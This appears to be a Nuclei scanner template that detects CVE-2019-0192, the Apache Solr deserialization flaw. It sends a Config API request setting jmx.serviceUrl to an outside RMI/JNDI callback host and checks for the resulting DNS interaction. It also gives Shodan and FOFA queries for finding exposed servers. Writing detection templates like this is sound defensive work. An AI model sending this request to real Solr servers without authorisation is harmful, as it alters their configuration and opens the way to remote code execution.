id: CVE-2019-0192

info:
  name: Apache Solr - Deserialization of Untrusted Data
  author: hnd3884
  severity: critical
  description: |
    In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
  reference:
    - https://github.com/Imanfeng/Apache-Solr-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0192
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0192
    cwe-id: CWE-502
    epss-score: 0.93432
    epss-percentile: 0.99738
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: solr
    shodan-query: title:"Solr"
    fofa-query: title="Solr
  tags: cve,cve2019,apache,solr,deserialization,rce,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: core_name
        json:
          - '.status | .[].name'
        internal: true

  - raw:
      - |
        POST /solr/{{core_name}}/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://{{interactsh-url}}/obj"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "javax.management.remote.rmi")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 500'
        condition: and
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